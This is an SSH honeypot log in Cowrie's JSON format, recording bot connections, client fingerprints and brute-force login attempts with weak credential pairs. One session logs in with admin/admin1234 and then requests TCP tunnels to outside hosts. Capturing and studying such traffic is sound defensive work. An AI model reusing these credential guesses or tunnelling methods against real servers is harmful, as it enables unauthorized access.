{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":33008,"dst_ip":"10.17.0.5","dst_port":22,"session":"cd06bf07ae2b","protocol":"ssh","message":"New connection: 45.153.34.195:33008 (10.17.0.5:22) [session: cd06bf07ae2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:03.038010Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:03.043642Z","src_ip":"45.153.34.195","session":"cd06bf07ae2b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:03.133115Z","src_ip":"45.153.34.195","session":"cd06bf07ae2b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"0000","message":"login attempt [root/0000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:03.689909Z","src_ip":"45.153.34.195","session":"cd06bf07ae2b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:04.773662Z","src_ip":"45.153.34.195","session":"cd06bf07ae2b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":33022,"dst_ip":"10.17.0.5","dst_port":22,"session":"389619903991","protocol":"ssh","message":"New connection: 45.153.34.195:33022 (10.17.0.5:22) [session: 389619903991]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:06.022120Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:06.027640Z","src_ip":"45.153.34.195","session":"389619903991","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:06.122598Z","src_ip":"45.153.34.195","session":"389619903991","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":10028,"dst_ip":"10.17.0.5","dst_port":22,"session":"5779bfa6333d","protocol":"ssh","message":"New connection: 91.92.40.36:10028 (10.17.0.5:22) [session: 5779bfa6333d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:06.422965Z"}
{"eventid":"cowrie.login.failed","username":"ts3","password":"123","message":"login attempt [ts3/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:06.428799Z","src_ip":"45.153.34.195","session":"389619903991","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:07.128959Z","src_ip":"91.92.40.36","session":"5779bfa6333d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:07.511936Z","src_ip":"45.153.34.195","session":"389619903991","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:08.053751Z","src_ip":"91.92.40.36","session":"5779bfa6333d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":33026,"dst_ip":"10.17.0.5","dst_port":22,"session":"a377b0d74b88","protocol":"ssh","message":"New connection: 45.153.34.195:33026 (10.17.0.5:22) [session: a377b0d74b88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:08.949909Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:08.954333Z","src_ip":"45.153.34.195","session":"a377b0d74b88","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:09.035933Z","src_ip":"45.153.34.195","session":"a377b0d74b88","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"chris","password":"123","message":"login attempt [chris/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:09.319106Z","src_ip":"45.153.34.195","session":"a377b0d74b88","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:10.402819Z","src_ip":"45.153.34.195","session":"a377b0d74b88","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":57374,"dst_ip":"10.17.0.5","dst_port":22,"session":"b27a7f74df6b","protocol":"ssh","message":"New connection: 91.92.40.36:57374 (10.17.0.5:22) [session: b27a7f74df6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:11.537970Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":33030,"dst_ip":"10.17.0.5","dst_port":22,"session":"50ba1023e488","protocol":"ssh","message":"New connection: 45.153.34.195:33030 (10.17.0.5:22) [session: 50ba1023e488]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:11.921402Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:11.950777Z","src_ip":"45.153.34.195","session":"50ba1023e488","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:12.046850Z","src_ip":"45.153.34.195","session":"50ba1023e488","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"soleil","message":"login attempt [root/soleil] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:12.371155Z","src_ip":"45.153.34.195","session":"50ba1023e488","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:12.693238Z","src_ip":"91.92.40.36","session":"b27a7f74df6b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:12.696484Z","src_ip":"91.92.40.36","session":"b27a7f74df6b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:13.459521Z","src_ip":"45.153.34.195","session":"50ba1023e488","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jenkins","password":"123456","message":"login attempt [jenkins/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:14.134355Z","src_ip":"91.92.40.36","session":"5779bfa6333d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":53526,"dst_ip":"10.17.0.5","dst_port":22,"session":"602ff11cfa31","protocol":"ssh","message":"New connection: 45.153.34.195:53526 (10.17.0.5:22) [session: 602ff11cfa31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:14.722615Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:14.906461Z","src_ip":"45.153.34.195","session":"602ff11cfa31","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:14.910111Z","src_ip":"45.153.34.195","session":"602ff11cfa31","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"113.164.152.20","src_port":54246,"dst_ip":"10.17.0.5","dst_port":22,"session":"fa0a206cd322","protocol":"ssh","message":"New connection: 113.164.152.20:54246 (10.17.0.5:22) [session: fa0a206cd322]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:15.107486Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:15.112375Z","src_ip":"113.164.152.20","session":"fa0a206cd322","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:15.423321Z","src_ip":"113.164.152.20","session":"fa0a206cd322","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"password","message":"login attempt [root/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:15.448089Z","src_ip":"45.153.34.195","session":"602ff11cfa31","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:16.608255Z","src_ip":"113.164.152.20","session":"fa0a206cd322","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:16.675750Z","src_ip":"45.153.34.195","session":"602ff11cfa31","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deployer","password":"deployer","message":"login attempt [deployer/deployer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:16.952446Z","src_ip":"91.92.40.36","session":"b27a7f74df6b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:17.022579Z","session":"fa0a206cd322","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:17.141638Z","session":"fa0a206cd322","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"11.0","message":"Connection lost after 11.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:17.399480Z","src_ip":"91.92.40.36","session":"5779bfa6333d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":53534,"dst_ip":"10.17.0.5","dst_port":22,"session":"2ce8f9dec277","protocol":"ssh","message":"New connection: 45.153.34.195:53534 (10.17.0.5:22) [session: 2ce8f9dec277]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:17.732556Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:17.740131Z","src_ip":"45.153.34.195","session":"2ce8f9dec277","protocol":"ssh"}
